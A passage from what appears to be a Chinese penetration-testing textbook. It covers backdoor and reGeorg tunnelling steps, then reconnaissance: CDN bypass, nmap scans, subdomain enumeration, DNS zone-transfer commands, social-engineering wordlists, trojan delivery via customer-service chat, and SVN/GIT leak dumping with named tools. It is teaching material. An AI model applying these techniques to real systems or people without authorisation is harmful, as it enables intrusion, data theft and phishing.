    {"text": "图1-30 权限提升 下一步就是“建立隧道”和“植入后门”，先通过植入远控后门对目标 进行长期控制，也方便后面进行后渗透，远程控制“据点”如图1-31所 示。 图1-31 远程控制“据点” 然后通过上传代理建立隐匿隧道，攻击内网资产，这里以reGeorg 建立隧道，选择对应脚本上传到DMZ区服务器，然后访问脚本显 示“Georg says, 'All seems fine'”则表示上传成功，如图1-32所示。 图1-32 上传成功 在攻击机运行命令启动reGeorg，配置监听的地址、端口，以及用 来建立隧道的脚本的URL，建立隧道如图1-33所示。 图1-33 建立隧道 代理服务器搭建成功后使用ProxyChains给Nmap挂上代理进行资产 发现，发现存活主机“192.168.1.1”，然后对其进行扫描，收集信息，扫 描主机如图1-34所示。 图1-34 扫描主机 通过扫描结果发现是一个数据库服务器，挂上代理进行弱口令暴力 破解，发现为空密码，登录并获取核心数据，登录数据库服务器如图1- 35所示。"},
    {"text": "图1-35 登录数据库服务器 第 2 章 信息收集 在网络攻防的过程中，信息收集是非常重要的一步，通过信息收集 可以了解渗透目标的网络架构，描述出相关的网络拓扑，缩小攻击范 围。"},
    {"text": "信息收集的方式分为主动信息收集和被动信息收集两种，主动信息 收集是通过主动发送探测数据包与被测目标系统有直接交互； 被动信息 收集是指在不被察觉的情况下，通过搜索引擎、社交媒体等方式对目标 的外网信息进行收集，比如通过搜索引擎收集管理人员的信息，通 过“站长工具”等查询网站的whois信息、备案信息等。 信息收集的内容分为IP资源、域名发现、服务器信息收集、人力资 源情报收集、网站关键信息识别和历史漏洞等多个方面。"},
    {"text": "2.1 IP 资源 2.1.1 真实 IP 获取 为了保证网络的稳定和快速传输，网站服务商会在网络的不同位置 设置节点服务器，通过CDN（Content Delivery Network，内容分发网 络）技术，将网络请求分发到最优的节点服务器上面。 如果网站开启了 CDN加速，就无法通过网站的域名信息获取真实的IP，要对目标的IP资 源进行收集，就要绕过CDN查询到其真实的IP信息。 1 ．如何判断是否是 CDN 在对目标IP信息收集之前，首先要判断目标网站是否开启了CDN， 一般通过不同地方的主机ping域名和nslookup域名解析两种方法，通过 查看返回的IP是否是多个的方式来判断网站是否开启了CDN，如果返回 的IP信息是多个不同的IP，那就有可能使用了CDN技术。 1）使用不同主机ping域名判断是否有CDN 如果自己在多地都有主机可以ping域名，就可以根据返回的IP信息 进行判断。 如图2-1和图2-2所示，使用两地不同的主机ping域 名“***.com”，返回的IP信息是“39.156.**.79”和“220.181.**.148”两个不 同的IP，说明“***.com”可能使用了CDN。 图2-1 A地主机ping域名 图2-2 B地主机ping域名 互联网有很多公开的服务可以进行多地ping来判断是否开启了 CDN，比较常用的有以下几个： （1）站长工具：http://ping.chinaz.com/。"},
    {"text": "如图2-3所示是用站长工具对“***.com”多地探测返回的结果，发现 有“39.156.**.79”和“220.181.**.148”两个不同的IP，说明“***.com”可能 使用了CDN。 图2-3 站长工具ping检测 2）使用nslookup域名解析判断是否有CDN 通过系统自带的“nslookup”命令对域名解析，发现 有“39.156.**.79”和“220.181.**.148”两个不同的IP，说明“***.com”可能 使用了CDN，如图2-4所示。 图2-4 nslookup域名解析 2 ．如何绕过 CDN 获取真实 IP 1）查询子域名 由于CDN加速需要支付一定的费用，很多网站只对主站做了CDN 加速，子域名没有做CDN加速，子域名可能跟主站在同一个服务器或者 同一个C段网络中，可以通过子域名探测的方式，收集目标的子域名信 息，通过查询子域名的IP信息来辅助判断主站的真实IP信息。 子域名查询有枚举发现子域名、搜索引擎发现子域名、第三方聚合 服务发现子域名、证书透明性信息发现子域名、DNS域传送漏洞发现子 域名等多种方式，在接下来的“2.2域名发现”一节中会详细介绍。 2）查询历史DNS记录 通过查询DNS与IP绑定的历史记录就有可能发现之前的真实IP信 息，一般都是通过第三方服务网站进行查询。"},
    {"text": "如图2-5所示是在微步在线查询的“www.***.com”这个域名的历史 DNS解析信息，然后分析哪些IP不在现在的CDN解析IP里面，就有可能 是之前没有用CDN加速的真实IP。 3）使用国外主机解析域名 部分国内的CDN加速服务商只对国内的线路做了CDN加速，但是 国外的线路没有做加速，这样就可以通过国外的主机来探测真实的IP信 息。"},
    {"text": "探测的方式也有两种，可以利用已有的国外主机直接进行探测； 如 果没有国外主机，可以利用公开的多地ping服务（多地ping服务有国外 的探测节点），可以利用国外的探测节点返回的信息来判断真实的IP信 息。"},
    {"text": "图2-5 微步在线查询结果 通过如图2-6所示的phpinfo信息可以判断“***.com”真实的IP 为“49.235.**.208”。 图2-6 phpinfo信息 5）邮件信息 邮件信息中会记录邮件服务器的IP信息，有些站点有类似于RSS邮 件订阅的功能，可以利用其发送的邮件，通过查看源码的方式查看真实 服务器的IP信息。 如图2-7所示，单击“查看邮件源码”，获取服务器的真实IP如图2-8 所示，服务器的真实IP为“59.111.**.141”。"},
    {"text": "图2-7 查看邮件源码 图2-8 获取服务器的真实IP 2.1.2 旁站信息收集 旁站是与攻击目标在同一服务器上的不同网站，在攻击目标没有漏 洞的情况下，可以通过查找旁站的漏洞攻击旁站，然后再通过提权拿到 服务器的最高权限，拿到服务器的最高权限后攻击目标也就拿下了。"},
    {"text": "1 ． Nmap 扫描获取旁站信息 使用命令“nmap -sV -p 1-65535 IP”，对目标IP进行全端口扫描，确 保每个可能开放的端口服务都能识别到。 通过命令“nmap -sV -p 1-65535 192.168.88.21”对“192.168.88.21”地址 的1～65535端口进行扫描并进行服务识别，发现除了80端口运行了 Apache的网站外，在800端口还运行了IIS服务的网站，800端口的网站 就是80端口的旁站。 在80端口没有漏洞的情况下，就可以通过800端口运行IIS服务的旁 站进行攻击，通过IIS服务的漏洞，获取到“192.168.88.21”服务器的最高 权限，那么运行在“192.168.88.21”服务器80端口的Apache服务的所有权 限也就拿到了。"},
    {"text": "图2-9 同IP网站查询 （2）通过Bing搜索，链接为“https://cn.bing.com/search? q=ip:x.x.x.x”。 通过Bing搜索对“x.x.x.x”进行搜索后，发现此IP服务器一共开启了3 个Web网站，与“站长工具”查询的结果相同，Bing搜索旁站如图2-10所 示。"},
    {"text": "图2-10 Bing搜索旁站 2.1.3 C 段主机信息收集 C段主机是指与目标服务器在同一C段网络的服务器。 攻击目标的C 段存活主机是信息收集的重要步骤，很多企业的内部服务器可能都会在 一个C段网络中。"},
    {"text": "在很难找到攻击目标服务器互联网漏洞的情况下，可 以通过攻击C段主机，获取对C段主机的控制权，进入企业内网，在企 业的内网安全隔离及安全防护不如互联网防护健全的情况下，可以通过 C段的主机进行内网渗透，这样就可以绕过互联网的防护，对目标进行 攻击。"},
    {"text": "1 ． Nmap 扫描获取 C 段信息 使用命令“nmap -sn IP/24”，对目标IP的C段主机进行存活扫描，根 据扫描的结果可以判断目标IP的C段还有哪些主机存活，然后对存活的 主机进行渗透，拿到最高权限后进行内网渗透。 通过命令“nmap -sn 192.168.91.0/24”扫描“192.168.91”这个网段的C 段，“Host is up”表示主机存活，发 现“192.168.91.1”“192.168.91.2”“192.168.91.142”等多个主机存活。 “nmap -Pn”这个命令在实际工作中的使用也比较多，主要用于针对 防火墙开启的情况，该命令不会通过ICMP等协议进行主机存活判断， 会直接对端口进行扫描。 这样在开启了防火墙禁止Ping的情况下，也可 以利用这个命令正常扫描目标是否存活及对外开启的相关服务。"},
    {"text": "2 ．搜索引擎收集 C 段信息 通过Google搜索引擎的“site:x.x.x.*”，可以对“x.x.x.*”的C段主机进 行信息收集。 在Google搜索引擎中输入“site:61.x.x62.*”，对“61.x.x62.*”网段的C 段进行信息收集，发现“61.x.x62.70”“61.x.x62.76”“61.x.x62.147”等多个C 段主机存活，并且都运行了Web服务，Google搜索获取C段信息如图2-11所示。 图2-11 Google搜索获取C段信息 2.2 域名发现 2.2.1 子域名信息收集 子域名是父域名的下一级，比 如“huiyuan.xxx.com”和“bbs.xxx.com”这两个域名是“xxx.com”的子域名。"},
    {"text": "像“www.xxx.com”这样的域名为企业的主站域名，企业对于主站域 名的应用的防护措施比较健全，不管是应用本身的漏洞发现、漏洞修 复，还是安全设备相关的防护都做得更加及时和到位，而企业可能有多 个、几十个甚至更多的子域名应用，因为子域名数量多，企业子域名应 用的防护可能会没有主站及时。 攻击者在主站域名找不到突破口时，就 可以进行子域名的信息收集，然后通过子域名的漏洞进行迂回攻击。 子域名信息收集主要包含枚举发现子域名、搜索引擎发现子域名、 第三方聚合服务发现子域名、证书透明性信息发现子域名、DNS域传送 发现子域名等方式。 2.2.2 枚举发现子域名 子域名收集可以通过枚举的方式对子域名进行收集，枚举需要一个 好的字典，制作字典时会将常见子域名的名字放到字段里面，增加枚举 的成功率。"},
    {"text": "子域名暴力破解常用的工具有“Layer子域名挖掘 机”和“subDomainsBrute”。 1 ．使用 Layer 子域名挖掘机 “Layer子域名挖掘机”是图形化的工具，内置了很多常见的子域名 字典，支持多线程，可以识别域名的真实IP，是子域名枚举常用的工具 之一。 使用Layer子域名挖掘机对“xxx.com”进行子域名暴力破解的结果如 图2-12所示，发现存在“m.xxx.com”“mail.xxx.com”“secure.xxx.com”等多 个子域名。 图2-12 子域名暴力破解的结果 2 ．使用 subDomainsBrute “subDomainsBrute”工具用于渗透测试的目标域名收集，能够实现高 并发DNS暴力枚举，发现其他工具无法探测到的域名，高频扫描每秒 DNS请求数可超过1000次。"},
    {"text": "通过命令“python subDomainsBrute.py xxx.com”对“xxx.com”的子域 名进行枚举，发现存在562个子域名，subDomainsBrute运行结果如图2-13所示。 图2-13 subDomainsBrute运行结果 枚举发现的域名会保存在“xxx.com.txt”文件中。 2.2.3 搜索引擎发现子域名 使用搜索引擎Google或者百度，输入“site:xxx.com”可以获 取“xxx.com”子域名的信息。 例如，查询“xxx.com”的子域名，在Google 中搜索“site:xxx.com”，就可以发现存 在“mybase.xxx.com”“bcs.xxx.com”等多个子域名，如图2-14所示。 图2-14 Google发现子域名 2.2.4 第三方聚合服务发现子域名 很多公开的第三方聚合服务网站都可以进行信息收集，子域名信息 是其包含的内容之一，常用的第三方聚合服务网站有DNSdumpster、 VirusTotal和Sublist3r。"},
    {"text": "Sublist3r使 用许多搜索引擎（如：Google、Yahoo、Bing、Baidu和Ask等）枚举子 域名，Sublist3r同样也使用Netcraft、VirusTotal、ThreatCrowd、 DNSdumpster和ReverseDNS获取子域名。 使用命令“python sublist3r.py -d xxx.com”就可以对“xxx.com”进行子 域名查询，从图2-15中可以看出，Sublist3r会使用Netcraft、VirusTotal、 ThreatCrowd、DNSdumpster和ReverseDNS等第三方聚合服务发现子域 名。 图2-15 Sublist3r使用第三方聚合服务发现子域名 子域名获取结果如图2-16所示，一共获取到了393个“xxx.com”网站 的子域名。"},
    {"text": "图2-16 子域名获取结果 2.2.5 证书透明性信息发现子域名 证书透明性（Certificate Transparency，CT）是Google的公开项目， 通过让域所有者、CA和域用户对SSL证书的发行和存在进行审查，来纠 正这些基于证书的威胁。"},
    {"text": "因 为它是一个开放的公共框架，所以任何人都可以构建或访问驱动证书透 明性的基本组件，CA证书中包含了域名、子域名、邮箱等敏感信息， 存在一定的安全风险。"},
    {"text": "利用证书透明性进行域名信息收集，一般使用CT日志搜索引擎进 行域名信息收集，常用的 有“https://crt.sh/”和“https://transparencyreport.google.com/https/certificates”。 1 ．使用 crt.sh 对域名进行搜索 使用crt.sh对域名进行搜索，如图2-17所示，输入“***.com”，搜索 后发现有多个子域名的信息。 图2-17 使用crt.sh对域名进行搜索 2 ．使用 Google 对域名进行搜索 在“https://transparencyreport.google.com/https/certificates”中输 入“***.com”，使用Google对域名进行搜索如图2-18所示。 图2-18 使用Google对域名进行搜索 搜索完成后发现有多个子域名的信息，搜索结果如图2-19所示。"},
    {"text": "主DNS服务器主要用于维护所负责解析的域的数据库，可以对数据 库进行读写操作，数据库中存储了主机名相关的信息，需要管理员手工 进行修改。 从DNS服务器也称为辅助DNS服务器，可以作为主DNS服务器的备 份服务器与负载服务器。 缓存DNS服务器不负责域名解析，它会将用户访问其他DNS的信息 保存在本地，作为缓存数据，这样用户再访问时就会比较方便，缩短域 名的查询时间。 转发DNS服务器会将特定的域名查询进行转发，若DNS服务器无法 权威地解析客户端的请求，即没有匹配的主要区域和辅助区域，并且无 法通过缓存信息来解析客户端的请求，转发DNS服务器会转发到指定的 DNS服务器上面，由该DNS服务器完成域名解析工作。 DNS区域传送是指主、从DNS服务器的数据同步机制，当主DNS服 务器出现故障或者出现负载太大而无法正常工作的情况时，从DNS服务 器就会处理DNS请求。 从DNS服务器的区域数据是从主服务器复制的， 所以从服务器的数据是只读的，此时使用的是DNS服务TCP协议的53端 口。 正常情况下，主DNS服务器的DNS区域传送请求只会转发给从DNS 服务器，进行数据更新，但是很多DNS服务器由于错误配置导致任意 DNS区域传送请求都会进行数据库同步，区域数据库的信息就被别人非 正常获取了，这样就搜集到了数据库中存储的攻击域下面的所有子域名 相关的信息，导致了域名的泄露，甚至可能会包含一些测试域名、内网 域名，而测试域名和内网域名的安全防护措施相对较低，更容易被攻击 者攻击。 DNS域传送漏洞发现子域名的过程如下。"},
    {"text": "使 用“dig xxx.org ns”命令对目标发送一个ns类的解析请求来判断其DNS服 务器。 图2-20 使用dig命令进行测试 （2）使用“dig axfr @dns xxx.com”命令对目标发起axfr请求，获取 其域内所有的域名，如图2-21所示。"},
    {"text": "图2-21 通过发送axfr请求获取域内所有的域名 2.3 服务器信息收集 在渗透攻击过程中，对目标服务器的信息收集是非常重要的一步， 服务器上面可以运行大量的系统服务和第三方应用服务，如果操作系统 或者第三方软件没有及时升级打补丁，攻击者就有可能直接通过服务器 上运行的服务进行攻击。"},
    {"text": "因为服务器的错误配置或者不安全的访问控 制，导致通过服务器漏洞进行攻击的案例屡见不鲜。 如果数据库可以直 接对外连接并且存在数据库弱口令，攻击者就可以直接通过数据库的弱 口令漏洞对数据库进行连接，获取敏感数据，甚至通过数据库控制整个 服务器，对内网发动攻击。"},
    {"text": "服务器需要收集的信息包含三个方面：端口信息收集、程序服务版 本识别和操作系统信息识别。 端口信息收集和程序服务版本识别主要是为了收集服务器开放了哪 些端口，这些端口都运行了什么类型的服务，这些服务的具体版本信 息。"},
    {"text": "因为不同服务的漏洞点不一样，相同服务不同版本的漏洞点也可能 有很大差异，所以要识别每个服务的具体版本信息，才能根据这些信息 进行相关版本漏洞的利用。 比如同样是IIS服务，IIS 6.0的解析漏洞与IIS 7.0的解析漏洞在漏洞形成的原因和漏洞的利用方式方面就完全不同。"},
    {"text": "操作系统信息识别是为了判断目标运行了什么类型的操作系统，根 据不同类型的操作系统、不同版本的操作系统漏洞进行漏洞利用，比如 Windows操作系统存在“永恒之蓝漏洞”的可能，Linux操作系统存在“脏 牛漏洞”的可能。"},
    {"text": "图2-22 常见端口及对应服务 通过“nmap -sV -p 1-65535 192.168.88.21”对“192.168.88.21”地址的1 ～65535端口进行扫描，发现开放了80、135、139、445、3306、3389等 多个不同的端口。"},
    {"text": "2.3.2 服务版本识别 从上面的扫描结果信息来看目标服务可能开放了3306数据库服务、 3389远程桌面服务，但是“STATE SERVICE”并不一定是准确的，很多 管理员可能修改了服务的默认端口，可能将远程桌面的端口改成了 3306，将数据库的端口改成了3389，那么通过“STATE SERVICE”的信 息来判断就非常不准确了。"},
    {"text": "此时准确的服务版本识别就很重要了， Nmap扫描器使用指纹识别技术，Nmap通过TCP/IP栈不同服务的特定的 数据包格式作为指纹信息来区分不同的协议，这样就可以做到准确的服 务版本识别。 Nmap进行指纹识别的参数是“-sV”，使用命令“nmap -sV -p 1-65535 IP”对目标IP进行全端口扫描，并进行服务版本识别，代码如下。 通过“nmap -sV -p 1-65535 192.168.88.21”对“192.168.88.21”地址的1 ～65535端口进行扫描并进行服务版本识别，发现80端口运行的是2.4.23 版本的Apache服务，800端口运行的是IIS 6.0服务，1433端口运行的是 Microsoft SQL Server 2005服务，3306端口运行的是MySQL服务，3389 端口运行的是远程桌面服务。"},
    {"text": "通过服务器信息收集发现除了Web服务外，还开启了数据库和远程 桌面等相关的服务，攻击者就可以尝试对数据库和远程桌面存在的漏洞 进行攻击，拿到服务器的权限。"},
    {"text": "2.3.3 操作系统信息识别 操作系统信息识别也使用Nmap工具，Nmap最著名的功能之一是用 TCP/IP协议栈指纹进行远程操作系统探测。 Nmap发送一系列TCP和 UDP报文到远程主机，检查响应中的每一个数据包，然后把结果和数据 库“nmap-os-fingerprints”中超过1500个已知的操作系统的指纹信息进行 比较，如果有匹配，就打印出操作系统的详细信息，这样就可以识别不 同类型的操作系统及其版本信息。 Nmap使用“-O”参数来启动操作系统检测，也可以使用“-A”来同时 启用操作系统检测和版本检测，代码如下。 通过“nmap -O 192.168.88.21”对“192.168.88.21”的操作系统进行扫 描，发现了操作系统相关的详细信息“OS CPE: cpe: /o:Linux:Linux_kernel:3 cpe:/o:Linux:Linux_kernel:4”。"},
    {"text": "2.4 人力资源情报收集 人力资源情报收集主要是对目标企业单位的关键员工、供应商和合 作伙伴等相关信息进行收集。 通过人力资源情报收集可以了解目标企业 的人员组织结构，通过分析人员组织结构，能够判断关键人员并对其实 施社会工程学鱼叉钓鱼攻击。"},
    {"text": "2.4.1 whois 信息 whois是用来查询域名的IP及所有人等信息的传输协议。 whois的本 质就是一个用来查询域名是否已经被注册，以及注册域名的详细信息的 数据库（如域名所有人、域名注册商），可以通过whois来实现对域名 信息的查询。 早期的whois查询大多通过命令行的形式进行查询，后来出现了很 多网页版在线查询工具，比较常见的在线查询工具有“站长之 家”和“https://who.is/”。 如图2-23所示，通过“站长工具”的“IP WHOIS查询”功能可以查询域 名的所有人、注册商等相关信息，查询的地址 为“http://tool.chinaz.com/ipwhois”。"},
    {"text": "图2-23 站长工具 2.4.2 社会工程学 社会工程学主要是利用网络上公开的资源信息（社交网站、Google 等搜索引擎）和人性心理上的弱点对某个人进行欺骗，最终获取相关信 息的过程。 社会工程学收集的信息有很多，包含网络ID（现用和曾用）、真实 姓名、手机号、电子邮箱、出生日期、身份证号、银行卡、支付宝账 号、QQ号、微信号、家庭地址、注册网站（贴吧、微博、人人网等） 等信息。"},
    {"text": "通过公开的在线网站对“zhangwei”这个目标人员进行字典生成的过 程如图2-24所示。 图2-24 字典生成 填入通过社会工程学收集到的“zhangwei”的相关信息就生成了专属 字典，如图2-25所示。"},
    {"text": "图2-25 专属字典 2.4.3 利用客服进行信息收集 很多公司的官网页面都会有在线客服，可以通过在线客服进行信息 收集，甚至有的在线客服聊天页面可以进行文件传输，很多攻击者利用 文件传输的功能进行社工钓鱼，直接发送一个木马文件，安全意识不强 的客服单击后就有可能被植入木马，导致其电脑被攻击者完全控制，客 服的办公电脑可能会存储大量的敏感信息，攻击者通过信息收集和信息 分析进一步进行渗透攻击，通过客服植入木马如图2-26所示。 图2-26 通过客服植入木马 一般公司都会将官方的联系方式放在官网上面，如图2-27所示，可 以通过相关的联系方式进行邮箱信息、电话信息的收集。"},
    {"text": "图2-27 官方的联系方式 2.4.4 招聘信息收集 招聘网站的招聘信息和求职简历含有大量的人员相关信息，招聘信 息中涉及招聘公司招聘人员相关的电子邮箱、手机号等相关信息，求职 简历中涉及求职人员姓名、手机号、电子邮箱、工作经历等，如果招聘 网站存在安全漏洞，求职人员的简历就有可能被泄露。 如图2-28所示是某招聘网站的一则招聘信息，可以从此招聘信息中 获取目标单位的关键人员的联系电话，以进一步通过社会工程学来获取 更多的敏感信息。"},
    {"text": "图2-28 招聘信息 2.5 网站关键信息识别 2.5.1 指纹识别 企业或者开发者为了提高开发效率，很多都会使用已有的内容管理 系统（CMS），或者在此基础上做二次开发。"},
    {"text": "CMS种类繁多，开发者 水平参差不齐，导致CMS漏洞一度成为Web渗透的重灾区。 如果渗透目 标使用了CMS作为应用模板，通过信息收集进行CMS识别，获取到 CMS的版本信息后，就可以通过此CMS存在的漏洞进行攻击，甚至可 以到CMS的官网下载对应版本的CMS进行本地白盒代码审计。 除了CMS存在同类攻击以外，使用相同的框架进行应用开发也可能 会由于框架本身存在漏洞导致应用受到攻击，使用相同的中间件或者 WAF防护设备也有可能会存在类似的攻击。"},
    {"text": "CMS识别一般利用不同的CMS特征来识别，常见的识别方式包 括特定关键字识别、特定文件及路径识别、CMS网站返回的响应头信息 识别等。 1 ．特定关键字识别 CMS的首页文件、特定文件可能包含了CMS类型及版本信息，通 过访问这些文件，将返回的网页信息（如“Powered by XXCMS”）与扫 描工具数据库存储的指纹信息进行正则匹配，判断CMS的类型。 1）Powered by XXCMS识别CMS 访问网站的首页，从返回的信息“Powered by DedeCMS”，可以判断 此网站使用的CMS是DedeCMS，关键字识别如图2-29所示。 图2-29 关键字识别 2）meta标签中的content字段 通过meta标签中的content字段识别DedeCMS，如图2-30所示。 图2-30 content字段识别DedeCMS 通过meta标签中的content字段识别WordPress，如图2-31所示。 图2-31 content字段识别WordPress 2 ．特定文件及路径识别 不同的CMS会有不同的网站结构及文件名称，可以通过特定文件及 路径识别CMS。 WordPress会有特定的文件路径“/wp-admin”“/wp- includes”等，如图2-32所示的WordPress和如图2-33所示的DedeCMS 的“robots.txt”文件可能包含了CMS特定的文件路径，与扫描工具数据库 存储的指纹信息进行正则匹配，判断CMS的类型。 图2-32 WordPress 图2-33 DedeCMS 访问特定文件“robots.txt”，就会返回相关Disallow信息，通过特定 的文件路径“/wp-admin”“/wp-includes”等判断CMS为WordPress。 访问特定文件“robots.txt”，通过特定路径判断此CMS为DedeCMS。 CMS会有一些JS、CSS、图片等静态文件，这些文件一般不会变 化，可以利用这些特定文件的MD5值作为指纹信息来判断CMS的类 型，如图2-34所示。 图2-34 通过静态文件MD5值判断CMS 3 ．响应头信息识别 应用程序会在响应头Server、X-Powered-By、Set-Cookie等字段中返 回Banner信息或者自定义的数据字段，通过响应头返回的信息，可以对 应用进行识别，有些WAF设备也可以通过响应头信息进行识别判断。"},
    {"text": "响应头信息识别如图2-35所示，访问安全狗WAF的官网，会在响应 头的Set-Cookie中返回“wwwsafedog2”的相关信息，通过此信息即可判断 WAF设备的指纹信息。"},
    {"text": "图2-35 响应头信息识别 4 ．指纹识别工具 指纹识别常用的工具有WhatWeb、Wappalyzer、御剑等。 1）WhatWeb指纹识别工具 WhatWeb是目前最常使用的指纹识别开源工具之一，它使用Ruby 编写，可以识别包括内容管理系统（CMS）、博客平台、中间件、 JavaScript库、Web服务框架、网站服务器和嵌入式设备等的Web技术。"},
    {"text": "WhatWeb可以在其官 网“https://www.morningstarsecurity.com/research/whatweb”下载使用， WhatWeb的使用比较简单，在命令后直接加URL即可，WhatWeb也支持 复杂参数功能的使用，更多的使用方式可以参考其官网的Wiki介绍，网 址为“https://github.com/ urbanadventurer/WhatWeb/wiki”。"},
    {"text": "使用WhatWeb对目标网站进行指纹识别如图2-36所示，发现使用的 是Joomla[1.5]的CMS，然后又通过高级参数的使用发现更准确的版本信 息为Joomla[1.5,1.5.19-1.5.22]。 图2-36 使用WhatWeb对目标网站进行指纹识别 2）Wappalyzer指纹识别工具 Wappalyzer是一个开源的跨平台实用程序，可发现网站指纹，能够 识别1200多种不同的Web技术。"},
    {"text": "Wappalyzer用JavaScript编写，下载地址 为“https://www.wappalyzer.com/download”。 它可以作为独立应用程序运 行，也可以作为模块包含在较大的应用程序中，Wappalyzer还可以作为 插件在浏览器中运行，支持的浏览器有Chrome、FireFox、Edge等。"},
    {"text": "图2-37 指纹信息 2.5.2 敏感路径探测 敏感路径探测是信息收集非常重要的一部分，通过敏感路径探测可 以获取很多由于错误配置而泄露的文件、默认文件、测试文件、备份文 件等，这些文件里面可能存在了很多数据库配置、应用程序配置等敏感 信息。"},
    {"text": "常见的敏感路径探测文件有robots文件、phpinfo文件、DS文件、备 份文件、上传页面、后台登录页面、sitemap.xml文件、WEB-INF/web.xml文件等。 敏感路径探测主要使用工具探测，比较常用的工具有御剑、 BurpSuite、wwwscan等，扫描效果主要取决于使用的字典，当然与工具 也有一定关系，比如，有的网站会判断头信息，使用BurpSuite等具有可 以自定义HTTP头功能的工具会更准确。"},
    {"text": "使用BurpSuite可以扫描目录，BurpSuite有Intruder模块，将抓到的 数据包的路径设置为变量，将目录文件的字典添加为Payload，然后不 断遍历，达到目录暴力破解的目的。"},
    {"text": "图2-38 设置路径为变量 将目录文件的字典添加为Payload，注意将最下面的“Payload-Encoding”去掉对勾，否则可能会将Payload的“/”等特殊字符进行URL编 码。"},
    {"text": "Payload参数设置如图2-39所示。 图2-39 Payload参数设置 单击“Start-attack”按钮，遍历完字典中的路径后，对状态进行排 序，状态码为200和301的都是真实存在的路径，如图2-40所示。"},
    {"text": "图2-40 状态码为200和301的路径 2.5.3 互联网信息收集 通过互联网进行信息收集是信息收集的方式之一，互联网信息收集 包含历史漏洞信息收集、SVN&GIT信息收集、网盘信息收集等。"},
    {"text": "1 ．历史漏洞信息收集 针对攻击目标历史漏洞的查找是攻防渗透中必不可少的工作之一， 很多第三方网站历史漏洞会被披露得比较详细，包含完整的漏洞利用过 程、漏洞利用完成后可以获取的信息及获取的权限，以此可以判断攻击 目标经常出现问题的功能有哪些，通过其描述可能获取其网站真实的物 理路径信息、真实IP信息、CMS等重要信息。 攻击者甚至还可以通过此 历史漏洞点进行再次尝试，如果攻击目标的管理员没有获取相关信息， 不知道已经被人攻击，或者收到了相关信息没能及时修复或者直接忽略 了此漏洞，攻击者就可以直接利用此历史漏洞发起攻击，或者利用已经 上传的后门程序进行攻击。 有的管理员可能接到漏洞公告后及时修复了 此漏洞或者添加了新的防护策略，攻击者也可以尝试绕过攻击。"},
    {"text": "2 ． SVN&GIT 信息收集 一个软件开发试行后，最关键的问题就是能够有效地实现对软件版 本系统的控制，版本控制是项目开发与管理的标准做法，能追踪项目从 开始到结束的整个过程，对编程人员而言，版本控制技术是团队协作开 发的桥梁，有助于多人同步进行大型程序开发。 常用的版本控制工具有 SVN和GIT。"},
    {"text": "很多开发人员在进行代码发布时由于操作不规范有可能将 整个代码泄露，攻击者利用泄露的代码信息可以进行白盒代码审计，发 现存在的漏洞； 有的代码中可能会存储连接数据库的配置文件，如果数 据库的访问权限没有被严格控制，攻击者就可以通过配置文件中的数据 库用户名、密码信息对数据库进行攻击； 代码中还可能会存在邮件服务 器等其他配置信息，都会造成严重的后果。 1）SVN代码泄露 SVN代码泄露的本质原因是操作不当，例如使用“Checkout”将项目 拉到本地时，会在项目目录生成一个名称为“.svn”的隐藏文件，SVN代 码泄露如图2-41所示，“.svn”的“pristine”文件夹里包含了整个项目的所 有文件备份。 若发布代码时直接将整个项目拷贝到网站根目录，并且没 有删掉隐藏的“.svn”文件，或直接使用“Checkout”将项目拉到网站根目 录发布站点，然后没有删除隐藏的“.svn”文件，都将会导致SVN代码泄 露。 图2-41 SVN代码泄露 若想测试目标站点有没有SVN代码泄露，最简单的方式就是直接访 问“.svn”，确认其是否存在。 如果在测试环境中发布站点时没有删 除“.svn”文件，可以直接在目标URL后面加上“.svn”访问，确认是否存在 漏洞，发现存在内容也就证明存在SVN代码泄露漏洞，测试目标站点如 图2-42所示。 图2-42 测试目标站点 然后可以使用Seay-SVN和SvnExploit等工具利用此漏洞，下面以 SvnExploit为例进行介绍。"},
    {"text": "SvnExploit是一款SVN源代码利用工具，支持 SVN<1.7版本和SVN>1.7版本的SVN源代码泄露，下载地址 为“https://github.com/admintony/svnExploit”。"},
    {"text": "运行命令“python SvnExploit.py -u http://url/.svn/ --dump”可以下载源码，源码存放在当前 目录的“dbs”文件夹下，下载源码如图2-43所示。"},
    {"text": "图2-43 下载源码 2）GIT代码泄露 与Seay-SVN类似，GIT也是一个版本控制软件，导致漏洞产生的主 要原因也是操作不当，下面介绍一种导致GIT代码泄露的场景。"},
    {"text": "下载并安装好GIT后 可以先到网站根目录下运行“git init”命令，将当前目录作为GIT仓库，这 时会在当前目录生成名为“.git”的隐藏文件，在这里可以认为“.git”文件 就是GIT仓库，运行“git add *”命令将所有文件添加到GIT仓库，然后运 行命令“git commit -m \"注释\"”将所有文件提交到仓库，GIT的使用如图2-44所示。 图2-44 GIT的使用 这时若不小心将“index.php”删除了，可以使用GIT回滚，先运行命 令“git log”查看日志，然后运行命令“git reset --hard c71694c8c557696606b1742f5964356aaa199cf3”回滚到上一版本，发 现“index.php”恢复了，GIT回滚如图2-45所示。 图2-45 GIT回滚 可以发现使用GIT进行版本控制很方便，但是发布网站的时 候“.git”文件若没有删除则会导致GIT代码泄露，测试目标站点是否存在 GIT代码泄露可以直接访问“.git”文件看其是否存在，测试目标站点GIT 泄露如图2-46所示。 图2-46 测试目标站点GIT泄露 然后使用工具GitHack利用此漏洞，GitHack的下载地址 为“https://github.com/ lijiejie/GitHack”。 运行“python GitHack.py http://url/.git/”命令下载源码，GIT漏洞利用如图2-47所示。 图2-47 GIT漏洞利用 3 ．网盘信息收集 很多开发或者运维人员的安全意识不够高，为了文件的传输方便将 代码或者其他含有敏感信息的文件传输到网盘中，如果将网盘中的文件 进行了无密码分享，或者网盘本身存在漏洞，再或者网盘的密码泄露， 都有可能导致严重的代码信息泄露，一般通过第三方的网盘搜索网站进 行网盘信息收集。"},
    {"text": "第 3 章 漏洞分析 3.1 漏洞研究 通过信息收集章节的学习，可以搜集到很多目标的信息，例如， CMS版本、敏感文件和漏洞情况等，但是对于此CMS版本有哪些漏 洞、是否有其他敏感文件或者此敏感文件是否存在，以及漏洞如何利用 等还不清楚，这就需要对其进一步进行研究。"},
